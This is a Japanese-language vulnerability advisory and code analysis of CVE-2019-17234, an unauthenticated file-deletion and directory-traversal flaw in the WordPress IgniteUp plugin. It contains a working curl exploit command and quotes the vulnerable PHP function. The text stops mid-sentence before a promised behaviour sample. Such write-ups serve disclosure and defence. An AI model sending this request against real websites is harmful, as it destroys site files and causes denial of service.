Wordpress IgniteUp プラグインの脆弱性

Wordpress IgniteUp プラグイン v3.4 以下では、リモートの認証されていないユーザーがターゲットのウェブサーバー上の任意のファイルを削除し、サービス拒否攻撃を引き起こす可能性があります。

CVE-2019-17234 のタイムライン

この脆弱性は2019年9月20日に wordpress.org チームに報告され、プラグインの新しいバージョン3.4.1は2019年11月8日にリリースされました。[3]

背景

IgniteUp は、ウェブサイトのランディングページを簡単にセットアップおよび管理し、サイトが近日公開予定、メンテナンス中、または工事中であることをユーザーに知らせるための人気の WordPress プラグインです。

このプラグインには、初期状態で5つの無料デフォルトテンプレートが用意されています: believe,cleaner,glass,launcher,offline。

テンプレート名が強調されているのは、脆弱性を悪用するためにウェブサーバーに有効なリクエストを実行するには、正しいパラメータ [template-name] が必要だからです。

Exploitコード (curl)

[警告]

以下のコマンド例は、WordPress ウェブサイトを壊す可能性があります。この場合、IgniteUp プラグインのコアファイルを削除します。

curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php

dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php

[注] 上記のコマンドは、プラグインの相対パス内でディレクトリトラバーサルを実行します。適切なパーミッション（ウェブサーバーディレクトリには755、ウェブサーバーファイルには644）と所有者（www-data, apache ユーザーなど）が設定されている場合、攻撃対象範囲はサーバーのルートディレクトリ（例: /var/www/html）まで制限されます。

脆弱性コード分析

この脆弱性を引き起こす原因関数を以下に示します。参照ファイルは wp-content/plugins/igniteup/includes/class-coming-soon-creator.php にあります。このファイルは、名前が示すように、新しいカスタムテンプレートの作成と、デフォルトテンプレートおよび作成されたテンプレートの削除を処理します。

V3.4

add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
   if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
      return;
   $folder_name = $_POST['delete_template'];
   $path = dirname(CSCS_FILE) . '/includes/templates/';
   array_map('unlink', glob($path . $folder_name . '/*.*'));
   rmdir($path . $folder_name);
   unlink($path . '/' . $folder_name . '.php');
   header('Location: ' . $_SERVER['REQUEST_URI']);
}

最初の行の admin_init は Wordpress のアクションフックです。フック[2] は、プラグインやテーマが WordPress コアとやり取りするための基盤を構成しており、コア自体も広く使用しています。

残念ながら、アクションフックに関連付けられた関数 deleteTemplate() には、管理者/ユーザーのチェックがありません。このため、この関数の存在を知れば、どのようにしてそのアクションを実行するかのヒントが得られます。コードを見ると、PHP POST パラメータ delete_template を簡単に見つけることができ、これに admin_init フックアクションを組み合わせることで、exploitコードの段落で指摘したように、/wp-admin/admin-post.php インターフェースを介してウェブサーバーに POST リクエストを試みるのに十分な知識が得られます。

[個人メモ] WordPress 管理者ユーザーの視点からプラグインの通常の動作を分析すると、この関数が見つかるのはかなり奇妙です（これは以前のバージョンからの残骸だと思います）。その理由は以下の通りです:

v3.4 の管理パネルでは、テンプレートの削除オプションは利用できず、プラグインの有効化/無効化、またはプレミアム ($$$) テンプレートの「作成」（ダウンロード）のみが可能です。
コードの動作は基本的に正しくありません。通常の状況では、unlink() 関数は正しく終了しません。なぜなら、関数パラメータの構築において、$path と $folder_name の間に '/' があってはならないからです。$path 変数の宣言にはすでにバックスラッシュが追加されています。

ここに、DirStroy を試みたときの unlink 中の動作サンプルを示します。